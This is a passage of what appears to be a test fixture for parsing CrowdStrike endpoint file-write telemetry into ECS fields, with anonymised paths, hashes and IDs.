"entity_id": "6609070495594", - "executable": "\\6ba0bd\\447b992c\\d598026\\1c467339.exe", - "name": "7592a3326e8f", - "thread": { - "id": 290000250300138 - } - }, - "related": { - "hash": [ - "9080600092" - ], - "ip": [ - "81.2.69.144" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "8200073020", - "ContextBaseFileName": "481bc1a027f891f9b", - "ContextImageFileName": "\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce\\f89ea270\\d001f1d.4\\b5860c81.exe", - "ContextProcessId": "211820800920708240", - "ContextTimeStamp": "2025-08-25T17:32:23.835Z", - "DesiredAccess": "5060417", - "EffectiveTransmissionClass": "3", - "Entitlements": "66", - "EventOrigin": "1", - "FileAttributes": "0", - "FileEcpBitmask": "0", - "FileObject": "0", - "Information": "3", - "IrpFlags": "2500", - "MajorFunction": "0", - "MinorFunction": "0", - "OperationFlags": "0", - "Options": "66717670", - "ShareAccess": "1", - "Status": "0", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "182d52dbecaca7970cb63c42addda760f512", - "name": "af0673bdd782d244e9c" - }, - "device": { - "id": "d6c18cb814c9100d81bedd3b4290407f" - }, - "event": { - "action": "creation", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "182d52dbecaca7970cb63c42addda760f512|d6c18cb814c9100d81bedd3b4290407f|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ContextBaseFileName\":\"481bc1a027f891f9b\",\"Options\":\"66717670\",\"ContextThreadId\":\"270140900130850060\",\"MinorFunction\":\"0\",\"aip\":\"89.160.20.128\",\"Information\":\"3\",\"FileIdentifier\":\"3983fc13457464a741b39fba5bb2260604ddb049477359f2\",\"event_platform\":\"Win\",\"ShareAccess\":\"1\",\"EventOrigin\":\"1\",\"id\":\"182d52dbecaca7970cb63c42addda760f512\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"FileAttributes\":\"0\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"NewScriptWritten\",\"ContextTimeStamp\":\"1756143143.835\",\"ConfigStateHash\":\"8200073020\",\"ContextProcessId\":\"211820800920708240\",\"IrpFlags\":\"2500\",\"ContextImageFileName\":\"\\\\6ba0bd\\\\3edfbf1f\\\\303abfe3\\\\45ab82\\\\3ca2a2ce\\\\f89ea270\\\\d001f1d.4\\\\b5860c81.exe\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"DesiredAccess\":\"5060417\",\"Entitlements\":\"66\",\"name\":\"af0673bdd782d244e9c\",\"OperationFlags\":\"0\",\"aid\":\"d6c18cb814c9100d81bedd3b4290407f\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\3edfbf1f\\\\303abfe3\\\\45ab82\\\\3ca2a2ce\\\\481f1be1.config\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "directory": "\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce", - "extension": "config", - "inode": "3983fc13457464a741b39fba5bb2260604ddb049477359f2", - "name": "481f1be1.config", - "path": "\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce\\481f1be1.config", - "type": "file" - }, - "host": { - "id": "d6c18cb814c9100d81bedd3b4290407f", - "os": { - "type": "windows" - } - }, - "message": "NewScriptWritten", - "observer": { - "address": [ - "89.160.20.128" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.128" - ], - "serial_number": "d6c18cb814c9100d81bedd3b4290407f", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "211820800920708240", - "executable": "\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce\\f89ea270\\d001f1d.4\\b5860c81.exe", - "name": "481bc1a027f891f9b", - "thread": { - "id": 270140900130850060 - } - }, - "related": { - "hash": [ - "8200073020" - ], - "ip": [ - "89.160.20.128" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "10050074", - "ConfigStateHash": "9080600092", - "ContextBaseFileName": "7592a3326e8f", - "ContextProcessId": "3609070495594", - "ContextTimeStamp": "2025-08-06T04:01:50.026Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "36", - "EventOrigin": "1", - "FileCategory": "2", - "FileEcpBitmask": "0", - "FileObject": "0", - "FileOperatorSid": "S-72386-31002-81578-35580-81320-88994-11078", - "FileWrittenFlags": "0", - "IrpFlags": "0", - "IsOnNetwork": "0", - "IsOnRemovableDisk": "0", - "MajorFunction": "0", - "MinorFunction": "0", - "OperationFlags": "0", - "TokenType": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "50b4564705009d4d899b257c4f60806debaf", - "name": "52f49e17cbb3258ec" - }, - "device": { - "id": "e4a077554af537da06f56e39976d4420" - }, - "event": { - "action": "creation", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "50b4564705009d4d899b257c4f60806debaf|e4a077554af537da06f56e39976d4420|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"FileOperatorSid\":\"S-72386-31002-81578-35580-81320-88994-11078\",\"ContextBaseFileName\":\"7592a3326e8f\",\"FileCategory\":\"2\",\"Size\":\"70097\",\"ContextThreadId\":\"290000250300138\",\"MinorFunction\":\"0\",\"aip\":\"89.160.20.128\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"938e82c7b12a104fa76dcbeb0307793c9ec98bea974f8770\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\237ca1ff\\\\9f8125ec\",\"id\":\"50b4564705009d4d899b257c4f60806debaf\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"OleFileWritten\",\"ContextTimeStamp\":\"1754452910.026\",\"ConfigStateHash\":\"9080600092\",\"ContextProcessId\":\"3609070495594\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"10050074\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"36\",\"name\":\"52f49e17cbb3258ec\",\"OperationFlags\":\"0\",\"aid\":\"e4a077554af537da06f56e39976d4420\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\6b0cc\\\\08cfe5\\\\0f51ad6\\\\813ded8\\\\c7bac469\\\\d598026\\\\690dbe\\\\e6e3e8fa\\\\5fcb82a8.automaticDestinations-ms\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "device": "835\\237ca1ff\\9f8125ec", - "directory": "\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe\\e6e3e8fa", - "extension": "automaticDestinations-ms", - "inode": "938e82c7b12a104fa76dcbeb0307793c9ec98bea974f8770", - "name": "5fcb82a8.automaticDestinations-ms", - "path": "\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe\\e6e3e8fa\\5fcb82a8.automaticDestinations-ms", - "size": 70097, - "type": "file" - }, - "host": { - "id": "e4a077554af537da06f56e39976d4420", - "os": { - "type": "windows" - } - }, - "message": "OleFileWritten", - "observer": { - "address": [ - "89.160.20.128" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.128" - ], - "serial_number": "e4a077554af537da06f56e39976d4420", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "3609070495594", - "name": "7592a3326e8f", - "thread": { - "id": 290000250300138 - } - }, - "related": { - "hash": [ - "9080600092" - ], - "ip": [ - "89.160.20.128" - ], - "user": [ - "S-72386-31002-81578-35580-81320-88994-11078" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-72386-31002-81578-35580-81320-88994-11078" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "1046050", - "BoundingLimitCount": 10, - "BoundingLimitDuration": "2486640", - "ConfigStateHash": "205997984", - "ContextBaseFileName": "f8d3910f48a", - "ContextProcessId": "3902807870001", - "ContextTimeStamp": "2025-09-13T19:54:25.081Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "16", - "EventOrigin": "1", - "FileCategory": "2", - "FileEcpBitmask": "0", - "FileObject": "0", - "FileOperatorSid": "S-14916-87933-54904-21020-22768-89969-67859", - "FileWrittenFlags": "0", - "IrpFlags": "0", - "IsOnNetwork": "0", - "IsOnRemovableDisk": "0", - "MajorFunction": "0", - "MinorFunction": "0", - "OperationFlags": "0", - "TokenType": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "fa7433e86a344c7c471c159189a5d9e46b61", - "name": "7233ba49d5aea975e9d" - }, - "device": { - "id": "4274e60578e437f258cd288fc421c898" - }, - "event": { - "action": "creation", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "fa7433e86a344c7c471c159189a5d9e46b61|4274e60578e437f258cd288fc421c898|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"FileOperatorSid\":\"S-14916-87933-54904-21020-22768-89969-67859\",\"ContextBaseFileName\":\"f8d3910f48a\",\"FileCategory\":\"2\",\"Size\":\"4008\",\"ContextThreadId\":\"406830433040004\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.144\",\"IsOnNetwork\":\"0\",\"BoundingLimitCount\":\"10\",\"FileIdentifier\":\"fe69780d23fffd9b5ea4d464cf4fe53f8d384cdc38b47460\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\4db87fa6\\\\901bda80\",\"id\":\"fa7433e86a344c7c471c159189a5d9e46b61\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"OoxmlFileWritten\",\"ContextTimeStamp\":\"1757793265.081\",\"ConfigStateHash\":\"205997984\",\"ContextProcessId\":\"3902807870001\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"1046050\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"BoundingLimitDuration\":\"2486640\",\"Entitlements\":\"16\",\"name\":\"7233ba49d5aea975e9d\",\"OperationFlags\":\"0\",\"aid\":\"4274e60578e437f258cd288fc421c898\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\6b0cc\\\\6a5005c5\\\\0f51ad6\\\\8c31e\\\\d62f\\\\6\\\\9628fd57\\\\93\\\\697ee9b1.thmx\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "device": "835\\4db87fa6\\901bda80", - "directory": "\\6ba0bd\\447b992c\\6b0cc\\6a5005c5\\0f51ad6\\8c31e\\d62f\\6\\9628fd57\\93", - "extension": "thmx", - "inode": "fe69780d23fffd9b5ea4d464cf4fe53f8d384cdc38b47460", - "name": "697ee9b1.thmx", - "path": "\\6ba0bd\\447b992c\\6b0cc\\6a5005c5\\0f51ad6\\8c31e\\d62f\\6\\9628fd57\\93\\697ee9b1.thmx", - "size": 4008, - "type": "file" - }, - "host": { - "id": "4274e60578e437f258cd288fc421c898", - "os": { - "type": "windows" - } - }, - "message": "OoxmlFileWritten", - "observer": { - "address": [ - "81.2.69.144" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.144" - ], - "serial_number": "4274e60578e437f258cd288fc421c898", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "3902807870001", - "name": "f8d3910f48a", - "thread": { - "id": 406830433040004 - } - }, - "related": { - "hash": [ - "205997984" - ], - "ip": [ - "81.2.69.144" - ], - "user": [ - "S-14916-87933-54904-21020-22768-89969-67859" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-14916-87933-54904-21020-22768-89969-67859" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "50820000", - "ContextProcessId": "600400303060", - "EffectiveTransmissionClass": "3", - "Entitlements": "66", - "EventOrigin": "1", - "FileSubType": "1", - "SHA256HashData": "73954d484337197445100e89a7fac5e25964f5f3da4024f8c7d07dd840d4f4e1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "46fbd2ea624c1d37a02f228b5e07a641ba5d", - "name": "e1363774d0bedd151e540a3f0" - }, - "device": { - "id": "827afde25ba0eeda5d204a68ff612048" - }, - "event": { - "action": "creation", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "46fbd2ea624c1d37a02f228b5e07a641ba5d|827afde25ba0eeda5d204a68ff612048|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"PackedExecutableWritten\",\"ConfigStateHash\":\"50820000\",\"ContextProcessId\":\"600400303060\",\"aip\":\"216.160.83.56\",\"FileSubType\":\"1\",\"SHA256HashData\":\"73954d484337197445100e89a7fac5e25964f5f3da4024f8c7d07dd840d4f4e1\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"Entitlements\":\"66\",\"name\":\"e1363774d0bedd151e540a3f0\",\"EventOrigin\":\"1\",\"id\":\"46fbd2ea624c1d37a02f228b5e07a641ba5d\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"827afde25ba0eeda5d204a68ff612048\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\64fdf48d.~BT\\\\104a\\\\d\\\\d598026\\\\ddd203\\\\de975748.2506_none_4305ee2bac2df612\\\\47776.dll\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "directory": "\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\de975748.2506_none_4305ee2bac2df612", - "extension": "dll", - "hash": { - "sha256": "73954d484337197445100e89a7fac5e25964f5f3da4024f8c7d07dd840d4f4e1" - }, - "name": "47776.dll", - "path": "\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\de975748.2506_none_4305ee2bac2df612\\47776.dll", - "type": "file" - }, - "host": { - "id": "827afde25ba0eeda5d204a68ff612048", - "os": { - "type": "windows" - } - }, - "message": "PackedExecutableWritten", - "observer": { - "address": [ - "216.160.83.56" - ], - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": [ - "216.160.83.56" - ], - "serial_number": "827afde25ba0eeda5d204a68ff612048", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "600400303060" - }, - "related": { - "hash": [ - "73954d484337197445100e89a7fac5e25964f5f3da4024f8c7d07dd840d4f4e1", - "50820000" - ], - "ip": [ - "216.160.83.56" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "107430", - "ConfigStateHash": "3000500100", - "ContextBaseFileName": "8bccb383613c62792a", - "ContextProcessId": "90797090022909", - "ContextTimeStamp": "2025-06-12T15:46:27.245Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "66", - "EventOrigin": "1", - "FileCategory": "2", - "FileEcpBitmask": "0", - "FileObject": "0", - "FileOperatorSid": "S-67387-98466-95492-13435-71780-89109-76365", - "FileWrittenFlags": "0", - "IrpFlags": "0", - "IsOnNetwork": "0", - "IsOnRemovableDisk": "0", - "MajorFunction": "0", - "MinorFunction": "0", - "OperationFlags": "0", - "TokenType": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "e3b7d2a5cd6687e005e8d8440762de1a5cba", - "name": "0ae43bcd866d0651b" - }, - "device": { - "id": "972c7871709024649af8a061337fe15f" - }, - "event": { - "action": "creation", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "e3b7d2a5cd6687e005e8d8440762de1a5cba|972c7871709024649af8a061337fe15f|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"FileOperatorSid\":\"S-67387-98466-95492-13435-71780-89109-76365\",\"ContextBaseFileName\":\"8bccb383613c62792a\",\"FileCategory\":\"2\",\"Size\":\"90700\",\"ContextThreadId\":\"599818020897405\",\"MinorFunction\":\"0\",\"aip\":\"89.160.20.128\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"b1bfcedc983f301364a3871d0def78ac0d8895b637b50e10\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\b9e65ff8\\\\3fcf5e12\",\"id\":\"e3b7d2a5cd6687e005e8d8440762de1a5cba\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"PdfFileWritten\",\"ContextTimeStamp\":\"1749743187.245\",\"ConfigStateHash\":\"3000500100\",\"ContextProcessId\":\"90797090022909\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"107430\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"66\",\"name\":\"0ae43bcd866d0651b\",\"OperationFlags\":\"0\",\"aid\":\"972c7871709024649af8a061337fe15f\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\c21d01b\\\\72cd25a5\\\\cf1\\\\8bda0e31\\\\dee65f00.pdf\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "device": "835\\b9e65ff8\\3fcf5e12", - "directory": "\\6ba0bd\\447b992c\\c21d01b\\72cd25a5\\cf1\\8bda0e31", - "extension": "pdf", - "inode": "b1bfcedc983f301364a3871d0def78ac0d8895b637b50e10", - "name": "dee65f00.pdf", - "path": "\\6ba0bd\\447b992c\\c21d01b\\72cd25a5\\cf1\\8bda0e31\\dee65f00.pdf", - "size": 90700, - "type": "file" - }, - "host": { - "id": "972c7871709024649af8a061337fe15f", - "os": { - "type": "windows" - } - }, - "message": "PdfFileWritten", - "observer": { - "address": [ - "89.160.20.128" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.128" - ], - "serial_number": "972c7871709024649af8a061337fe15f", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "90797090022909", - "name": "8bccb383613c62792a", - "thread": { - "id": 599818020897405 - } - }, - "related": { - "hash": [ - "3000500100" - ], - "ip": [ - "89.160.20.128" - ], - "user": [ - "S-67387-98466-95492-13435-71780-89109-76365" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-67387-98466-95492-13435-71780-89109-76365" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "830", - "ConfigStateHash": "90089570", - "ContextBaseFileName": "d3571e48e3804d61a8d8f51", - "ContextImageFileName": "\\6ba0bd\\74d33d26\\aa669\\1cb\\8dff9f73\\e49665bb\\51a\\97f4d525.exe", - "ContextProcessId": "3097482600003", - "ContextTimeStamp": "2025-07-14T18:34:34.515Z", - "DllCharacteristics": "0", - "EffectiveTransmissionClass": "3", - "Entitlements": "16", - "EventOrigin": "1", - "FileCategory": "6", - "FileEcpBitmask": "0", - "FileObject": "0", - "FileOperatorSid": "S-75678-67909-19006", - "FileWrittenFlags": "0", - "ImageCheckSum": "0", - "ImageEntryPoint": "4040", - "ImageSubsystem": "2", - "ImageTimeStamp": "2526530060", - "IrpFlags": "0", - "IsOnNetwork": "0", - "IsOnRemovableDisk": "0", - "IsTransactedFile": "0", - "MajorFunction": "0", - "MinorFunction": "0", - "ModuleCharacteristics": "800", - "OperationFlags": "0", - "SHA256HashData": "897ccaabed714b068888234743972924e15aee167c3cbc68f3c64a10751e73f0", - "TokenType": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "d5f767539bfcb8d8aede98bf95736a049e78", - "name": "5f323af958b5a344" - }, - "device": { - "id": "e8709208d980534971098b9a6fb8cf05" - }, - "event": { - "action": "creation", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "d5f767539bfcb8d8aede98bf95736a049e78|e8709208d980534971098b9a6fb8cf05|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"FileOperatorSid\":\"S-75678-67909-19006\",\"ContextBaseFileName\":\"d3571e48e3804d61a8d8f51\",\"FileCategory\":\"6\",\"Size\":\"36724\",\"ModuleCharacteristics\":\"800\",\"ContextThreadId\":\"60020000009454\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.144\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"cd3bc1e87072926155f8335b1c9ec29c91c2665caee05073\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"ImageCheckSum\":\"0\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\7f136004\\\\03bd69ab\",\"ImageSubsystem\":\"2\",\"id\":\"d5f767539bfcb8d8aede98bf95736a049e78\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"PeFileWritten\",\"ContextTimeStamp\":\"1752518074.515\",\"UserName\":\"a7d64dd9c23669\",\"ConfigStateHash\":\"90089570\",\"IsTransactedFile\":\"0\",\"ContextProcessId\":\"3097482600003\",\"IrpFlags\":\"0\",\"ImageEntryPoint\":\"4040\",\"SHA256HashData\":\"897ccaabed714b068888234743972924e15aee167c3cbc68f3c64a10751e73f0\",\"AuthenticationId\":\"830\",\"ContextImageFileName\":\"\\\\6ba0bd\\\\74d33d26\\\\aa669\\\\1cb\\\\8dff9f73\\\\e49665bb\\\\51a\\\\97f4d525.exe\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"DllCharacteristics\":\"0\",\"IsOnRemovableDisk\":\"0\",\"ImageTimeStamp\":\"2526530060\",\"Entitlements\":\"16\",\"name\":\"5f323af958b5a344\",\"OperationFlags\":\"0\",\"aid\":\"e8709208d980534971098b9a6fb8cf05\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\74d33d26\\\\d598026\\\\d62f\\\\c337ca0.tmp_dir1745907951\\\\85ba88.exe\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "device": "835\\7f136004\\03bd69ab", - "directory": "\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951", - "extension": "exe", - "hash": { - "sha256": "897ccaabed714b068888234743972924e15aee167c3cbc68f3c64a10751e73f0" - }, - "inode": "cd3bc1e87072926155f8335b1c9ec29c91c2665caee05073", - "name": "85ba88.exe", - "path": "\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951\\85ba88.exe", - "size": 36724, - "type": "file" - }, - "host": { - "id": "e8709208d980534971098b9a6fb8cf05", - "os": { - "type": "windows" - } - }, - "message": "PeFileWritten", - "observer": { - "address": [ - "81.2.69.144" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.144" - ], - "serial_number": "e8709208d980534971098b9a6fb8cf05", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "3097482600003", - "executable": "\\6ba0bd\\74d33d26\\aa669\\1cb\\8dff9f73\\e49665bb\\51a\\97f4d525.exe", - "name": "d3571e48e3804d61a8d8f51", - "thread": { - "id": 60020000009454 - } - }, - "related": { - "hash": [ - "897ccaabed714b068888234743972924e15aee167c3cbc68f3c64a10751e73f0", - "90089570" - ], - "ip": [ - "81.2.69.144" - ], - "user": [ - "a7d64dd9c23669", - "S-75678-67909-19006" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-75678-67909-19006", - "name": "a7d64dd9c23669" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "CompanyName": "48fd8e96569f1cb4", - "ConfigStateHash": "30820000", - "EffectiveTransmissionClass": "3", - "Entitlements": "16", - "EventOrigin": "45", - "FileVersion": "81.2.69.192", - "FixedFileVersion": "81.2.69.142", - "LanguageId": "0", - "OriginalFilename": "71f2cbc28fc61e5b304e", - "SHA256HashData": "ac64229aee8b0f73735a2170025a9b3e58dc0f6ea348b80405e8e0f43a137a78", - "VersionInfo": "67a713f637126c54cd13f593d789edab1bc1ef0908babbc9d9ee992e1cfb9937", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "51fdaf250bbe8ba7a3d2f76e5160dbcf2719", - "name": "510aa45e1032311" - }, - "device": { - "id": "f5f8341524ed1dd257646890be631aee" - }, - "event": { - "action": "PeVersionInfo", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "51fdaf250bbe8ba7a3d2f76e5160dbcf2719|f5f8341524ed1dd257646890be631aee|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"PeVersionInfo\",\"ConfigStateHash\":\"30820000\",\"aip\":\"89.160.20.112\",\"SHA256HashData\":\"ac64229aee8b0f73735a2170025a9b3e58dc0f6ea348b80405e8e0f43a137a78\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"VersionInfo\":\"67a713f637126c54cd13f593d789edab1bc1ef0908babbc9d9ee992e1cfb9937\",\"CompanyName\":\"48fd8e96569f1cb4\",\"FixedFileVersion\":\"81.2.69.142\",\"event_platform\":\"Win\",\"OriginalFilename\":\"71f2cbc28fc61e5b304e\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\c71dcff2\\\\150824cf.0_x64__v10z8vjag6ke6\\\\b9035\\\\48fd8e96.exe\",\"FileVersion\":\"81.2.69.192\",\"Entitlements\":\"16\",\"name\":\"510aa45e1032311\",\"EventOrigin\":\"45\",\"id\":\"51fdaf250bbe8ba7a3d2f76e5160dbcf2719\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"f5f8341524ed1dd257646890be631aee\",\"LanguageId\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "info" - ] - }, - "file": { - "pe": { - "original_file_name": "71f2cbc28fc61e5b304e" - } - }, - "host": { - "id": "f5f8341524ed1dd257646890be631aee", - "os": { - "type": "windows" - } - }, - "message": "PeVersionInfo", - "observer": { - "address": [ - "89.160.20.112" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.112" - ], - "serial_number": "f5f8341524ed1dd257646890be631aee", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "executable": "\\6ba0bd\\447b992c\\9134161b\\c71dcff2\\150824cf.0_x64__v10z8vjag6ke6\\b9035\\48fd8e96.exe", - "name": "48fd8e96.exe" - }, - "related": { - "hash": [ - "ac64229aee8b0f73735a2170025a9b3e58dc0f6ea348b80405e8e0f43a137a78", - "30820000" - ], - "ip": [ - "89.160.20.112" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "3440491101", - "ContextProcessId": "8080063970217", - "ContextTimeStamp": "2025-07-05T12:34:55.992Z", - "DesiredAccess": "5900", - "EffectiveTransmissionClass": "3", - "Entitlements": "86", - "EventOrigin": "1", - "ExtendedKeyUsages": "1", - "FileSigningTime": "1601400887.000", - "HandleCreated": "0", - "Object1Type": "81030550010000800400", - "PublicKeys": "0", - "SHA256HashData": "dca85177c59eb524d5339e3f884fc25933bba35549d4d94e86701f1de235beb5", - "SignInfoFlags": "932000", - 